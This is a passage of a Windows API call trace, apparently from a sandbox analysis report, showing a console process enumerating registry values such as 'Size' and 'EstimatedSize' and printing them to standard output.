lstrlenW (lpString="Readme") returned 6 [0151.276] __iob_func () returned 0x7fefd702a80 [0151.277] _fileno (_File=0x7fefd702ab0) returned 1 [0151.277] _errno () returned 0x204bb0 [0151.277] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.277] _errno () returned 0x204bb0 [0151.277] GetFileType (hFile=0x50) returned 0x1 [0151.277] lstrlenW (lpString="Readme") returned 6 [0151.277] GetConsoleOutputCP () returned 0x1b5 [0151.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.277] GetConsoleOutputCP () returned 0x1b5 [0151.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0151.277] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.277] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.277] __iob_func () returned 0x7fefd702a80 [0151.277] _fileno (_File=0x7fefd702ab0) returned 1 [0151.277] _errno () returned 0x204bb0 [0151.277] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.277] _errno () returned 0x204bb0 [0151.277] GetFileType (hFile=0x50) returned 0x1 [0151.277] lstrlenW (lpString=" ") returned 4 [0151.277] GetConsoleOutputCP () returned 0x1b5 [0151.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.277] GetConsoleOutputCP () returned 0x1b5 [0151.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.278] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.278] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.278] __iob_func () returned 0x7fefd702a80 [0151.278] _fileno (_File=0x7fefd702ab0) returned 1 [0151.278] _errno () returned 0x204bb0 [0151.278] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.278] _errno () returned 0x204bb0 [0151.278] GetFileType (hFile=0x50) returned 0x1 [0151.278] lstrlenW (lpString="REG_SZ") returned 6 [0151.278] GetConsoleOutputCP () returned 0x1b5 [0151.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.278] GetConsoleOutputCP () returned 0x1b5 [0151.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.278] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.278] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.278] __iob_func () returned 0x7fefd702a80 [0151.278] _fileno (_File=0x7fefd702ab0) returned 1 [0151.278] _errno () returned 0x204bb0 [0151.278] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.278] _errno () returned 0x204bb0 [0151.278] GetFileType (hFile=0x50) returned 0x1 [0151.278] lstrlenW (lpString=" ") returned 4 [0151.278] GetConsoleOutputCP () returned 0x1b5 [0151.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.279] GetConsoleOutputCP () returned 0x1b5 [0151.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.279] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.279] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.279] __iob_func () returned 0x7fefd702a80 [0151.279] _fileno (_File=0x7fefd702ab0) returned 1 [0151.279] _errno () returned 0x204bb0 [0151.279] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.279] _errno () returned 0x204bb0 [0151.279] GetFileType (hFile=0x50) returned 0x1 [0151.279] lstrlenW (lpString="") returned 0 [0151.279] __iob_func () returned 0x7fefd702a80 [0151.279] _fileno (_File=0x7fefd702ab0) returned 1 [0151.279] _errno () returned 0x204bb0 [0151.279] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.279] _errno () returned 0x204bb0 [0151.279] GetFileType (hFile=0x50) returned 0x1 [0151.279] lstrlenW (lpString="\n") returned 1 [0151.279] GetConsoleOutputCP () returned 0x1b5 [0151.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.279] GetConsoleOutputCP () returned 0x1b5 [0151.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.279] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.280] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.280] GetProcessHeap () returned 0x3c0000 [0151.280] GetProcessHeap () returned 0x3c0000 [0151.280] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.280] GetProcessHeap () returned 0x3c0000 [0151.280] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.280] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.280] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.280] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.280] GetProcessHeap () returned 0x3c0000 [0151.280] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.280] GetProcessHeap () returned 0x3c0000 [0151.280] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.280] GetProcessHeap () returned 0x3c0000 [0151.280] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.280] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0151.280] __iob_func () returned 0x7fefd702a80 [0151.280] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.280] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.280] _fileno (_File=0x7fefd702ab0) returned 1 [0151.280] _errno () returned 0x204bb0 [0151.280] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.280] _errno () returned 0x204bb0 [0151.280] GetFileType (hFile=0x50) returned 0x1 [0151.280] lstrlenW (lpString=" ") returned 4 [0151.280] GetConsoleOutputCP () returned 0x1b5 [0151.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.281] GetConsoleOutputCP () returned 0x1b5 [0151.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.281] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.281] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.281] lstrlenW (lpString="Size") returned 4 [0151.281] __iob_func () returned 0x7fefd702a80 [0151.281] _fileno (_File=0x7fefd702ab0) returned 1 [0151.281] _errno () returned 0x204bb0 [0151.281] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.281] _errno () returned 0x204bb0 [0151.281] GetFileType (hFile=0x50) returned 0x1 [0151.281] lstrlenW (lpString="Size") returned 4 [0151.281] GetConsoleOutputCP () returned 0x1b5 [0151.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.281] GetConsoleOutputCP () returned 0x1b5 [0151.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0151.281] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.281] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.281] __iob_func () returned 0x7fefd702a80 [0151.281] _fileno (_File=0x7fefd702ab0) returned 1 [0151.281] _errno () returned 0x204bb0 [0151.281] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.282] _errno () returned 0x204bb0 [0151.282] GetFileType (hFile=0x50) returned 0x1 [0151.282] lstrlenW (lpString=" ") returned 4 [0151.282] GetConsoleOutputCP () returned 0x1b5 [0151.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.282] GetConsoleOutputCP () returned 0x1b5 [0151.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.282] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.282] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.282] __iob_func () returned 0x7fefd702a80 [0151.282] _fileno (_File=0x7fefd702ab0) returned 1 [0151.282] _errno () returned 0x204bb0 [0151.282] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.282] _errno () returned 0x204bb0 [0151.282] GetFileType (hFile=0x50) returned 0x1 [0151.282] lstrlenW (lpString="REG_SZ") returned 6 [0151.282] GetConsoleOutputCP () returned 0x1b5 [0151.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.282] GetConsoleOutputCP () returned 0x1b5 [0151.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.282] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.282] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.283] __iob_func () returned 0x7fefd702a80 [0151.283] _fileno (_File=0x7fefd702ab0) returned 1 [0151.283] _errno () returned 0x204bb0 [0151.283] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.283] _errno () returned 0x204bb0 [0151.283] GetFileType (hFile=0x50) returned 0x1 [0151.283] lstrlenW (lpString=" ") returned 4 [0151.283] GetConsoleOutputCP () returned 0x1b5 [0151.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.283] GetConsoleOutputCP () returned 0x1b5 [0151.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.283] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.283] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.283] __iob_func () returned 0x7fefd702a80 [0151.283] _fileno (_File=0x7fefd702ab0) returned 1 [0151.283] _errno () returned 0x204bb0 [0151.283] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.283] _errno () returned 0x204bb0 [0151.283] GetFileType (hFile=0x50) returned 0x1 [0151.283] lstrlenW (lpString="") returned 0 [0151.283] __iob_func () returned 0x7fefd702a80 [0151.283] _fileno (_File=0x7fefd702ab0) returned 1 [0151.283] _errno () returned 0x204bb0 [0151.283] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.283] _errno () returned 0x204bb0 [0151.283] GetFileType (hFile=0x50) returned 0x1 [0151.283] lstrlenW (lpString="\n") returned 1 [0151.283] GetConsoleOutputCP () returned 0x1b5 [0151.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.284] GetConsoleOutputCP () returned 0x1b5 [0151.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.284] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.284] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.284] GetProcessHeap () returned 0x3c0000 [0151.284] GetProcessHeap () returned 0x3c0000 [0151.284] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.284] GetProcessHeap () returned 0x3c0000 [0151.284] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.284] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.284] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.284] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.284] GetProcessHeap () returned 0x3c0000 [0151.284] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.284] GetProcessHeap () returned 0x3c0000 [0151.284] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.284] GetProcessHeap () returned 0x3c0000 [0151.284] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.284] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x24f0, pcbData=0x29f780*=0x4) returned 0x0 [0151.284] __iob_func () returned 0x7fefd702a80 [0151.284] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.284] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.284] _fileno (_File=0x7fefd702ab0) returned 1 [0151.284] _errno () returned 0x204bb0 [0151.284] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.284] _errno () returned 0x204bb0 [0151.284] GetFileType (hFile=0x50) returned 0x1 [0151.284] lstrlenW (lpString=" ") returned 4 [0151.284] GetConsoleOutputCP () returned 0x1b5 [0151.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.285] GetConsoleOutputCP () returned 0x1b5 [0151.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.285] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.285] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.285] lstrlenW (lpString="EstimatedSize") returned 13 [0151.285] __iob_func () returned 0x7fefd702a80 [0151.285] _fileno (_File=0x7fefd702ab0) returned 1 [0151.285] _errno () returned 0x204bb0 [0151.285] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.285] _errno () returned 0x204bb0 [0151.285] GetFileType (hFile=0x50) returned 0x1 [0151.285] lstrlenW (lpString="EstimatedSize") returned 13 [0151.285] GetConsoleOutputCP () returned 0x1b5 [0151.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.285] GetConsoleOutputCP () returned 0x1b5 [0151.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0151.285] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.285] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.285] __iob_func () returned 0x7fefd702a80 [0151.285] _fileno (_File=0x7fefd702ab0) returned 1 [0151.286] _errno () returned 0x204bb0 [0151.286] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.286] _errno () returned 0x204bb0 [0151.286] GetFileType (hFile=0x50) returned 0x1 [0151.286] lstrlenW (lpString=" ") returned 4 [0151.286] GetConsoleOutputCP () returned 0x1b5 [0151.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.286] GetConsoleOutputCP () returned 0x1b5 [0151.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.286] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.286] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.286] __iob_func () returned 0x7fefd702a80 [0151.286] _fileno (_File=0x7fefd702ab0) returned 1 [0151.286] _errno () returned 0x204bb0 [0151.286] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.286] _errno () returned 0x204bb0 [0151.286] GetFileType (hFile=0x50) returned 0x1 [0151.286] lstrlenW (lpString="REG_DWORD") returned 9 [0151.286] GetConsoleOutputCP () returned 0x1b5 [0151.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.286] GetConsoleOutputCP () returned 0x1b5 [0151.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.286] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.286] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.287] __iob_func () returned 0x7fefd702a80 [0151.287] _fileno (_File=0x7fefd702ab0) returned 1 [0151.287] _errno () returned 0x204bb0 [0151.287] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.287] _errno () returned 0x204bb0 [0151.287] GetFileType (hFile=0x50) returned 0x1 [0151.287] lstrlenW (lpString=" ") returned 4 [0151.287] GetConsoleOutputCP () returned 0x1b5 [0151.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.287] GetConsoleOutputCP () returned 0x1b5 [0151.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.287] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.287] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.287] __iob_func () returned 0x7fefd702a80 [0151.287] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.287] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x24f0") returned 6 [0151.287] _fileno (_File=0x7fefd702ab0) returned 1 [0151.287] _errno () returned 0x204bb0 [0151.287] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.287] _errno () returned 0x204bb0 [0151.287] GetFileType (hFile=0x50) returned 0x1 [0151.287] lstrlenW (lpString="0x24f0") returned 6 [0151.287] GetConsoleOutputCP () returned 0x1b5 [0151.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x24f0", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.288] GetConsoleOutputCP () returned 0x1b5 [0151.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x24f0", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x24f0", lpUsedDefaultChar=0x0) returned 6 [0151.288] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.288] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.288] __iob_func () returned 0x7fefd702a80 [0151.288] _fileno (_File=0x7fefd702ab0) returned 1 [0151.288] _errno () returned 0x204bb0 [0151.288] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.288] _errno () returned 0x204bb0 [0151.288] GetFileType (hFile=0x50) returned 0x1 [0151.288] lstrlenW (lpString="\n") returned 1 [0151.288] GetConsoleOutputCP () returned 0x1b5 [0151.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.288] GetConsoleOutputCP () returned 0x1b5 [0151.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.288] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.288] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.288] GetProcessHeap () returned 0x3c0000 [0151.288] GetProcessHeap () returned 0x3c0000 [0151.288] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.288] GetProcessHeap () returned 0x3c0000 [0151.288] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.288] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.288] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.289] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.289] GetProcessHeap () returned 0x3c0000 [0151.289] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 